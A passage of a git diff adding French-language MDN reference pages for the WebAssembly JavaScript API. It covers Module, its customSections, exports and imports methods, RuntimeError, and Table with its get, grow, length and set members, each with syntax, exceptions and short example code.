La seconde méthode permettant d'obtenir un objet WebAssembly.Memory est de l'exporter depuis un module WebAssembly. Dans l'exemple suivant (cf. le fichier memory.html sur GitHub ainsi que le résultat obtenu) on récupère et on instancie le bytecode memory.wasm grâce à la méthode {{jsxref("WebAssembly.instantiateStreaming()")}} tout en important la mémoire créée à la ligne précédente. Ensuite, on enregistre des valeurs au sein de cette mémoire puis on exporte une fonction qu'on utilise pour additionner certaines valeurs.

+ +
WebAssembly.instantiateStreaming(fetch('memory.wasm'), { js: { mem: memory } })
+.then(obj => {
+  var i32 = new Uint32Array(memory.buffer);
+  for (var i = 0; i < 10; i++) {
+    i32[i] = i;
+  }
+  var sum = obj.instance.exports.accumulate(0, 10);
+  console.log(sum);
+});
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymemory-objects', 'Memory')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Memory")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/module/customsections/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/module/customsections/index.html new file mode 100644 index 0000000000..5b9185d4f6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/module/customsections/index.html @@ -0,0 +1,98 @@ +--- +title: WebAssembly.Module.customSections() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/customSections +tags: + - API + - Constructeur + - JavaScript + - Module + - Méthode + - Object + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/customSections +--- +
{{JSRef}}
+ +

La méthode WebAssembly.customSections() renvoie un tableau qui contient les sections personnalisées (custom sections) disponibles dans un module WebAssembly et qui ont un nom donné.

+ +

Syntaxe

+ +
var custSec = WebAssembly.Module.customSections(module, nomSection);
+ +

Paramètres

+ +
+
module
+
L'objet {{jsxref("WebAssembly.Module")}} pour lequel on veut obtenir les sections personnalisées.
+
nomSection
+
Le nom de la section personnalisée qu'on souhaite obtenir.
+
+ +

Valeur de retour

+ +

Un tableau contenant des {{domxref("ArrayBuffer")}} dont chacun contient les données d'une section personnalisée du module qui correspond à nomSection.

+ +

Exceptions

+ +

Si le module passé en argument n'est pas une instance de {{jsxref("WebAssembly.Module")}}, la méthode lèvera une exception {{jsxref("TypeError")}}.

+ +

Les sections personnalisées

+ +

Un module wasm contient une série de sections. La plupart de ces sections sont spécifiées et validées par la spécification WebAssembly mais les modules peuvent contenir certaines sections « personnalisées » (custom sections) qui sont ignorées lors de la phase de validation. Pour plus d'informations, consulter l'article sur les structures de haut niveau qui détaille la structure des sections et les différences entre les sections normales (« connues ») et les sections personnalisées.

+ +

Cela permet aux développeurs d'inclure des données personnalisées dans un module WebAssembly pour d'autres desseins. Par exemple, on peut avoir une section personnalisée name, qui permet aux développeurs de fournir des noms pour les fonctions et les variables locales du module (à la façon des « symboles » utilisé pour les programmes compilés).

+ +

Le format WebAssembly ne possède actuellement aucune syntaxe pour ajouter une section personnalisée. Il est toutefois possible d'ajouter une section nommée au module wasm pendant la conversion du texte vers .wasm. La commande wast2wasm, disponible avec l'outil wabt, possède une option --debug-names qui permet de créer un module .wasm avec une section personnalisée name :

+ +
wast2wasm simple-name-section.was -o simple-name-section.wasm --debug-names
+ +

Exemples

+ +

Dans l'exemple qui suit (tiré de ce fichier source et de cette démonstration), on compile et on instancie le bytecode simple-name-section.wasm et on importe une fonction JavaScript dans le module lors de cette étape. Ensuite, on exporte une fonction depuis le module grâce à Instance.exports.

+ +

On faut aussi une vérification sur WebAssembly.Module.customSections pour vérifier si celle-ci contient une section personnalisée "name" dont on vérifie si la longueur est supérieure à 0. Ce module contenant une section name, les appels à console.log() sont exécutés et montrent que le tableau renvoyé par la méthode contient des objets {{domxref("ArrayBuffer")}}.

+ +
WebAssembly.compileStreaming(fetch('simple-name-section.wasm'))
+.then(function(mod) {
+  var nameSections = WebAssembly.Module.customSections(mod, "name");
+  if (nameSections.length != 0) {
+    console.log("Le module contient une section nommée");
+    console.log(nameSections[0]);
+  };
+});
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymodulecustomsections', 'customSections()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Module.customSections")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/module/exports/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/module/exports/index.html new file mode 100644 index 0000000000..9f30c87b7d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/module/exports/index.html @@ -0,0 +1,108 @@ +--- +title: WebAssembly.Module.exports() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/exports +tags: + - API + - Constructeur + - JavaScript + - Module + - Méthode + - Object + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/exports +--- +
{{JSRef}}
+ +

La fonction WebAssembly.Module.exports() renvoie un tableau qui contient les descriptions des exports déclarés pour un module donné.

+ +

Syntaxe

+ +
var exports = WebAssembly.Module.exports(module);
+ +

Paramètres

+ +
+
module
+
Un objet {{jsxref("WebAssembly.Module")}}.
+
+ +

Valeur de retour

+ +

Un tableau qui contient des objets représentants les fonctions exportés du module passé en argument.

+ +

Exceptions

+ +

Si l'argument n'est pas une instance de {{jsxref("WebAssembly.Module")}}, une exception {{jsxref("TypeError")}} sera levée.

+ +

Exemples

+ +

Dans l'exemple suivant (basé sur le fichier index-compile.html disponible sur GitHub avec la démonstration correspondante), on compile le bytecode simple.wasm grâce à la fonction {{jsxref("WebAssembly.compileStreaming()")}} puis on envoie le résultat à un worker grâce à la méthode postMessage().

+ +
var worker = new Worker("wasm_worker.js");
+
+WebAssembly.compileStreaming(fetch("simple.wasm"))
+.then(mod =>
+  worker.postMessage(mod)
+);
+ +

Dans le worker (cf. wasm_worker.js), on définit un objet d'import pour le module puis on paramètre un gestionnaire d'évènement afin de recevoir le module depuis le thread principal. Lorsqu'on reçoit le module, on en crée une instance via la méthode {{jsxref("WebAssembly.Instantiate()")}} puis on appelle une fonction exportée et enfin, on affiche les informations relatives aux exports disponibles grâce à WebAssembly.Module.exports.

+ +
var importObject = {
+  imports: {
+    imported_func: function(arg) {
+      console.log(arg);
+    }
+  }
+};
+
+onmessage = function(e) {
+  console.log('module reçu du thread principal');
+  var mod = e.data;
+
+  WebAssembly.instantiate(mod, importObject).then(function(instance) {
+    instance.exports.exported_func();
+  });
+
+  var exports = WebAssembly.Module.exports(mod);
+  console.log(exports[0]);
+};
+ +

La valeur exports[0] ressemblera alors à :

+ +
{ name: "exported_func", kind: "function" }
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymoduleexports', 'exports()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Module.exports")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/module/imports/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/module/imports/index.html new file mode 100644 index 0000000000..c486bbf8ae --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/module/imports/index.html @@ -0,0 +1,84 @@ +--- +title: WebAssembly.Module.imports() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/imports +tags: + - API + - JavaScript + - Module + - Méthode + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/imports +--- +
{{JSRef}}
+ +

La méthode WebAssembly.imports() renvoie un tableau qui contient les références des fonctions importées qui sont disponibles dans un module WebAssembly donné.

+ +

Syntaxe

+ +
var arrImport = WebAssembly.Module.imports(module);
+ +

Paramètres

+ +
+
module
+
Une instance de {{jsxref("WebAssembly.Module")}}.
+
+ +

Valeur de retour

+ +

Un tableau qui contient des objets représentant les fonctions importées du module passé en argument.

+ +

Exceptions

+ +

Si module n'est pas une instance de {{jsxref("WebAssembly.Module")}}, une exception {{jsxref("TypeError")}} sera levée.

+ +

Exemples

+ +

Dans l'exemple qui suit, on compile le module simple.wasm puis on parcourt ses imports (cf. aussi le code sur GitHub et l'exemple live)

+ +
WebAssembly.compileStreaming(fetch('simple.wasm'))
+.then(function(mod) {
+  var imports = WebAssembly.Module.imports(mod);
+  console.log(imports[0]);
+});
+
+ +

Le résultat affiché dans la console ressemble alors à :

+ +
{ module: "imports", name: "imported_func", kind: "function" }
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymoduleimports', 'imports()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initial pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Module.imports")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/module/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/module/index.html new file mode 100644 index 0000000000..7802ae2206 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/module/index.html @@ -0,0 +1,89 @@ +--- +title: WebAssembly.Module() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module +tags: + - Constructeur + - JavaScript + - Module + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module +--- +
{{JSRef}}
+ +

Un objet WebAssembly.Module contient du code WebAssembly, sans état et qui a déjà été compilé par le navigateur. Ce code peut être partagé avec des web worker et être instancié à plusieurs reprises. Pour instancier le module, on pourra appeler la forme secondaire de {{jsxref("WebAssembly.instantiate()")}}.

+ +

Le constructeur WebAssembly.Module() peut être appelé de façon synchrone pour compiler du code WebAssembly. Toutefois, on utilisera généralement la fonction asynchrone {{jsxref("WebAssembly.compile()")}} qui permet de compiler du bytecode.

+ +

Syntaxe

+ +
+

Important : La compilation de modules volumineux peut être consommatrice de ressources et de temps. Le constructeur Module() doit uniqument être utilisé lorsqu'il faut absolument avoir une compilation  synchrone. Pour tous les autres cas de figures, on privilégiera la méthode asynchrone {{jsxref("WebAssembly.compileStreaming()")}}.

+
+ +
var monModule = new WebAssembly.Module(bufferSource);
+ +

Paramètres

+ +
+
bufferSource
+
Un tableau typé ou un {{jsxref("ArrayBuffer")}} qui contient le bytecode du module WebAssembly qu'on souhaite compiler.
+
+ +

Méthodes du constructeur Module

+ +
+
{{jsxref("Objets_globaux/WebAssembly/Module/customSections", "WebAssembly.Module.customSections()")}}
+
Pour un module donné et une chaîne de caractères donnée, cette méthode renvoie une copie des sections personnalisées (custom sections) du module qui ont le nom correspondant à la chaîne.
+
{{jsxref("Objets_globaux/WebAssembly/Module/exports", "WebAssembly.Module.exports()")}}
+
Pour un module donné, cette méthode renvoie un tableau dont les éléments sont des descriptions des exports déclarés.
+
{{jsxref("Objets_globaux/WebAssembly/Module/imports", "WebAssembly.Module.imports()")}}
+
Pour un module donné, cette méthode renvoie un tableau dont les éléments sont des descriptions des imports déclarés.
+
+ +

Instances de Module

+ +

Toutes les instances de Module héritent du prototype du constructeur Module(), celui-ci peut être modifié afin de moifier le comportement de l'ensemble des instances de Module.

+ +

Propriétés

+ +

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/prototype', 'Propriétés')}}

+ +

Méthodes

+ +

Les instances de Module ne disposent pas de méthodes en propre.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymodule-objects', 'WebAssembly.Module()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Module")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/runtimeerror/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/runtimeerror/index.html new file mode 100644 index 0000000000..b35e50e466 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/runtimeerror/index.html @@ -0,0 +1,119 @@ +--- +title: WebAssembly.RuntimeError() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/RuntimeError +tags: + - API + - Constructeur + - JavaScript + - Reference + - RuntimeError + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/RuntimeError +--- +
{{JSRef}}
+ +

Le constructeur WebAssembly.RuntimeError() permet de créer un nouvel objet WebAssembly RuntimeError. C'est ce type d'exception qui est déclenchée lorsque WebAssembly définit une trappe.

+ +

Syntaxe

+ +
new WebAssembly.RuntimeError(message, nomFichier, numeroLigne)
+ +

Paramètres

+ +
+
message {{optional_inline}}
+
Une description, compréhensible par un humain, de l'erreur qui s'est produite.
+
fileName {{optional_inline}}{{non-standard_inline}}
+
Le nom du fichier qui contient le code à l'origine de l'exception.
+
lineNumber {{optional_inline}}{{non-standard_inline}}
+
Le numéro de la ligne de code à l'origine de l'exception.
+
+ +

Propriétés

+ +

Le constructeur RuntimeError ne contient aucune propriété qui lui soit propre. En revanche, il hérite de certaines propriétés grâce à sa chaîne de prototypes.

+ +
+
WebAssembly.RuntimeError.prototype.constructor
+
La fonction qui a créé le prototype de l'instance.
+
{{jsxref("Error.prototype.message", "WebAssembly.RuntimeError.prototype.message")}}
+
Le message qui décrit l'erreur. Bien qu'ECMA-262 indique que chaque instance doit fournir sa propre propriété message, dans SpiderMonkey, elle est héritée depuis {{jsxref("Error.prototype.message")}}.
+
{{jsxref("Error.prototype.name", "WebAssembly.RuntimeError.prototype.name")}}
+
Le nom de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "WebAssembly.RuntimeError.prototype.fileName")}}
+
Le chemin du fichier à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.lineNumber", "WebAssembly.RuntimeError.prototype.lineNumber")}}
+
Le numéro de la ligne à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.columnNumber", "WebAssembly.RuntimeError.prototype.columnNumber")}}
+
Le numéro de la colonne dans la ligne qui est à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "WebAssembly.RuntimeError.prototype.stack")}}
+
La pile d'appels à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
+
+ +

Méthodes

+ +

Le constructeur RuntimeError ne contient aucune méthode qui lui soit propre. En revanche, il hérite de certaines méthodes grâce à sa chaîne de prototypes.

+ +
+
{{jsxref("Error.prototype.toSource", "WebAssembly.RuntimeError.prototype.toSource()")}}
+
Cette méthode renvoie un code qui, évalué, entraînerait la même erreur. Elle est héritée via {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.toString", "WebAssembly.RuntimeError.prototype.toString()")}}
+
Cette méthode renvoie une chaîne de caractères qui représente l'objet Error. Elle est héritée via {{jsxref("Error")}}.
+
+ +

Exemples

+ +

Dans le fragment de code qui suit, on crée une instance de RuntimeError et on imprime les détails de cette erreur dans la console :

+ +
try {
+  throw new WebAssembly.RuntimeError('Coucou', 'unFichier', 10);
+} catch (e) {
+  console.log(e instanceof RuntimeError); // true
+  console.log(e.message);                 // "Coucou"
+  console.log(e.name);                    // "RuntimeError"
+  console.log(e.fileName);                // "unFichier"
+  console.log(e.lineNumber);              // 10
+  console.log(e.columnNumber);            // 0
+  console.log(e.stack);                   // renvoie la pile d'appels
+                                           // à l'origine de l'erreur
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initial pour WebAssembly.
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}{{Spec2('ESDraft')}}Définition des types standards NativeError.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.RuntimeError")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/table/get/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/table/get/index.html new file mode 100644 index 0000000000..25c8ec97db --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/table/get/index.html @@ -0,0 +1,83 @@ +--- +title: WebAssembly.Table.prototype.get() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/get +tags: + - API + - JavaScript + - Méthode + - Reference + - WebAssembly + - table +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get +--- +
{{JSRef}}
+ +

La méthode get(), rattachéee au prototype de  {{jsxref("WebAssembly.Table()")}}, permet de récupérer une référence à une fonction stockée dans le tableau WebAssembly grâce à sa position. dans le tableau.

+ +

Syntaxe

+ +
var funcRef = table.get(index);
+
+ +

Paramètres

+ +
+
index
+
L'index de la référence de fonction qu'on souhaite récupérer.
+
+ +

Valeur de retour

+ +

Une référence de fonction, c'est-à-dire une fonction WebAssembly exportée qui est une enveloppe JavaScript pour manipuler la fonction WebAssembly sous-jacente.

+ +

Exceptions

+ +

Si index est supérieur ou égal à {{jsxref("WebAssembly/Table/length","Table.prototype.length")}}, la méthode lèvera une exception {{jsxref("RangeError")}}.

+ +

Exemples

+ +

Dans l'exemple suivant (cf. le fichier table.html sur GitHub ainsi que le résultat obtenu), on compile et on instancie le bytecode chargé, table.wasm, grâce à la méthode {{jsxref("WebAssembly.instantiateStreaming()")}}. On récupère ensuite les références stockées dans le tableau d'export.

+ +
WebAssembly.instantiateStreaming(fetch('table.wasm'))
+.then(function(obj) {
+  var tbl = obj.instance.exports.tbl;
+  console.log(tbl.get(0)());  // 13
+  console.log(tbl.get(1)());  // 42
+});
+ +

On note ici qu'il est nécessaire d'avoir un deuxième opérateur d'appel après l'accesseur pour récupérer le valeur stockée dans la référence (autrement dit, on utilise get(0)() plutôt que get(0)). La valeur exportée est une fonction plutôt qu'une valeur simple.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblytableprototypeget', 'get()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initial pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Table.get")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/table/grow/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/table/grow/index.html new file mode 100644 index 0000000000..4e90a70f22 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/table/grow/index.html @@ -0,0 +1,83 @@ +--- +title: WebAssembly.Table.prototype.grow() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/grow +tags: + - API + - JavaScript + - Méthode + - Reference + - WebAssembly + - table +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/grow +--- +
{{JSRef}}
+ +

La méthode grow(), rattachée au prototype de {{jsxref("WebAssembly.Table")}}, permet d'augmenter la taille du tableau WebAssembly d'un nombre d'éléments donné.

+ +

Syntaxe

+ +
table.grow(nombre);
+
+ +

Paramètres

+ +
+
nombre
+
Le nombre d'éléments qu'on souhaite ajouter au tableau.
+
+ +

Valeur de retour

+ +

La taille du tableau avant l'agrandissement.

+ +

Exceptions

+ +

Si l'opération grow() échoue, pour quelque raison que ce soit, une exception {{jsxref("RangeError")}} sera levée.

+ +

Exemples

+ +

Dans l'exemple qui suit, on crée une instance de Table pour représenter un tableau WebAssembly avec une taille initiale de 2 et une taille maximale de 10.

+ +
var table = new WebAssembly.Table({ element: "anyfunc", initial: 2, maximum: 10 });
+ +

On étend ensuite le tableau d'une unité en utilisant la méthode grow() :

+ +
console.log(table.length);   // "2"
+console.log(table.grow(1));  // "2"
+console.log(table.length);   // "3"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblytableprototypegrow', 'grow()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Table.grow")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/table/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/table/index.html new file mode 100644 index 0000000000..ab26074ab6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/table/index.html @@ -0,0 +1,137 @@ +--- +title: WebAssembly.Table() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table +tags: + - API + - Constructeur + - JavaScript + - Reference + - WebAssembly + - table +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table +--- +
{{JSRef}}
+ +

Le constructeur WebAssembly.Table() permet de créer un nouvel objet Table.

+ +

Cet objet est une enveloppe JavaScript qui représente un tableau WebAssembly et qui contient des références à des fonctions. Un tableau créé en JavaScript ou dans du code WebAssembly sera accessible et modifiable depuis du code JavaScript et depuis du code WebAssembly.

+ +
+

Note : Actuellement, les tableaux WebAssembly peuvent uniquement stocker des références à des fonctions. Cette fonctionnalité sera vraisemblablement étendue par la suite.

+
+ +

Syntaxe

+ +
var monTableau = new WebAssembly.Table(descripteurTableau);
+ +

Paramètres

+ +
+
descripteurTableau
+
Un objet composé des propriétés qui suivent : +
+
element
+
Une chaîne de caractères qui représente le type de référence enregistrée dans le tableau. Actuellement, la seule valeur possible est "anyfunc" (pour indiquer des fonctions).
+
initial
+
La longueur initiale du tableau WebAssembly. Cela correspond au nombre d'éléments contenus dans le tableau.
+
maximum {{optional_inline}}
+
La taille maximale que pourra avoir tableau WebAssembly s'il est étendu.
+
+
+
+ +

Exceptions

+ +
    +
  • Si tableDescriptor n'est pas un objet, une exception {{jsxref("TypeError")}} sera levée.
    • +
  • Si maximum est défini et est inférieur à initial, une exception {{jsxref("RangeError")}} sera levée.
    • +
+ +

Instances de Table

+ +

Toutes les instances Table héritent des propriétés du prototype du constructeur Table(). Ce dernier peut être utilisé afin de modifier l'ensemble des instances Table.

+ +

Propriétés

+ +
+
Table.prototype.constructor
+
Renvoie la fonction qui a créé l'instance. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Table()")}}.
+
{{jsxref("WebAssembly/Table/length","Table.prototype.length")}}
+
Renvoie la longueur du tableau, c'est-à-dire le nombre de références qui sont enregistrées dans le tableau.
+
+ +

Méthodes

+ +
+
{{jsxref("WebAssembly/Table/get","Table.prototype.get()")}}
+
Une fonction d'accès qui permet d'obtenir l'élément du tableau situé à une position donnée.
+
{{jsxref("WebAssembly/Table/grow","Table.prototype.grow()")}}
+
Cette méthode permet d'augmenter la taille du tableau Table d'un incrément donné.
+
{{jsxref("WebAssembly/Table/set","Table.prototype.set()")}}
+
Cette méthode permet de modifier un élément du tableau situé à une position donnée.
+
+ +

Exemples

+ +

Dans l'exemple qui suit (tiré du fichier table2.html et qui dispose d'une démonstration), on crée une nouvelle instance d'un tableau WebAssembly avec une taille initiale permettant de stocker 2 références. Ensuite, on imprime la longueur du tableau et le contenu des deux éléments (obtenus grâce à la méthode {{jsxref("WebAssembly/Table/get", "Table.prototype.get()")}} afin de montrer que la longueur vaut 2 et que le tableau ne contient encore aucune référence de fonction (pour les deux positions, on a la valeur {{jsxref("null")}}).

+ +
var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"});
+console.log(tbl.length);
+console.log(tbl.get(0));
+console.log(tbl.get(1));
+ +

Ensuite, on crée un objet d'import qui contient une référence au tableau :

+ +
var importObj = {
+  js: {
+    tbl:tbl
+  }
+};
+ +

Enfin, on charge et on instancie un module WebAssembly (table2.wasm) grâce à la fonction {{jsxref("WebAssembly.instantiateStreaming()")}}. Le module table2.wasm a ajouté deux références de fonctions (cf. sa représentation textuelle). Chacune de ces fonctions fournit une valeur simple :

+ +
WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject)
+.then(function(obj) {
+  console.log(tbl.length);   // "2"
+  console.log(tbl.get(0)()); // "42"
+  console.log(tbl.get(1)()); // "83"
+});
+ +

On voit ici qu'il faut d'abord récupérer la fonction puis effectuer une invocation pour obtenir la valeur correspondante à partir de l'accesseur (autrement dit, on écrit get(0)() plutôt que get(0) pour obtenir le résultat de la fonction) .

+ +

Dans cet exemple, on voit comment créer et manipuler le tableau depuis du code JavaScript mais ce même tableau est également accessible depuis l'instance WebAssembly.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblytable-objects', 'Table')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initial pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Table")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/table/length/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/table/length/index.html new file mode 100644 index 0000000000..d573097bc0 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/table/length/index.html @@ -0,0 +1,68 @@ +--- +title: WebAssembly.Table.prototype.length +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/length +tags: + - API + - JavaScript + - Propriété + - Reference + - WebAssembly + - table +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/length +--- +
{{JSRef}}
+ +

La propriété length, rattachée au prototype de l'objet {{jsxref("WebAssembly.Table")}}, renvoie la longueur du tableau WebAssembly, c'est-à-dire le nombre d'éléments qui y sont stockées.

+ +

Syntaxe

+ +
table.length;
+
+ +

Exemples

+ +

Avec l'instruction qui suit, on crée un tableau WebAssembly avec une taille initiale de 2 éléments et avec une taille maximale de 10.

+ +
var table = new WebAssembly.Table({ element: "anyfunc", initial: 2, maximum: 10 });
+ +

On peut ensuite étendre le tableau d'un élément :

+ +
console.log(table.length);   // "2"
+console.log(table.grow(1));  // "2"
+console.log(table.length);   // "3"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblytableprototypelength', 'length')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Table.length")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/table/set/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/table/set/index.html new file mode 100644 index 0000000000..c7b57a88b8 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/table/set/index.html @@ -0,0 +1,105 @@ +--- +title: WebAssembly.Table.prototype.set() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/set +tags: + - API + - JavaScript + - Méthode + - Reference + - WebAssembly + - table +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/set +--- +
{{JSRef}}
+ +

La méthode set(), rattachée au prototype de {{jsxref("WebAssembly.Table")}}, permet de modifier une référence de fonction stockée dans un tableau WebAssembly.

+ +

Syntaxe

+ +
table.set(index, valeur);
+
+ +

Paramètres

+ +
+
index
+
L'index de la référence de la fonction qu'on souhaite modifier.
+
valeur
+
La valeur par laquelle on souhaite remplacer la référence. Cette valeur doit être une fonction exportée WebAssembly (c'est-à-dire une enveloppe JavaScript représentant une fonction WebAssembly sous-jacente).
+
+ +

Valeur de retour

+ +

Aucune.

+ +

Exceptions

+ +
    +
  • Si index est supérieur ou égal à {{jsxref("WebAssembly/Table/length","Table.prototype.length")}}, une exception {{jsxref("RangeError")}} sera levée.
    • +
  • Si valeur n'est pas une fonction WebAssembly exportée ou la valeur {{jsxref("null")}}, une exception {{jsxref("TypeError")}} sera levée.
    • +
+ +

Exemples

+ +

Dans l'exemple qui suit (basé sur le code source de table2.html et qui dispose d'une démonstration), on crée ue nouvelle instance d'un tableau WebAssembly (Table) qui permet initialement de stocker 2 référence. On imprime alors la longueur du tableau dans la console ainsi que le contenu pour les deux premiers index (obtenus grâce à la méthode {{jsxref("WebAssembly/Table/get","Table.prototype.get()")}}) afin de montrer qu la longueur vaut 2 et qu'initialement, les deux éléments du tableau ne contiennent aucune référence (ils ont tous les deux la valeur {{jsxref("null")}}).

+ +
var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"});
+console.log(tbl.length);
+console.log(tbl.get(0));
+console.log(tbl.get(1));
+ +

On crée ensuite un objet d'import qui contient une référence au tableau :

+ +
var importObj = {
+  js: {
+    tbl:tbl
+  }
+};
+ +

Enfin, on charge et on instancie le module WebAssembly (table2.wasm) grâce à la méthode {{jsxref("WebAssembly.instantiateStreaming()")}}, on logge la longueur du tableau et on appelle les deux fonctions référencées qui sont désormais dans le tableau (le module table2.wasm (cf. la représentation textuelle) ajoute deux références de fonctions au tableau et chacune affiche une valeur simple) :

+ +
WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject)
+.then(function(obj) {
+  console.log(tbl.length);
+  console.log(tbl.get(0)());
+  console.log(tbl.get(1)());
+});
+ +

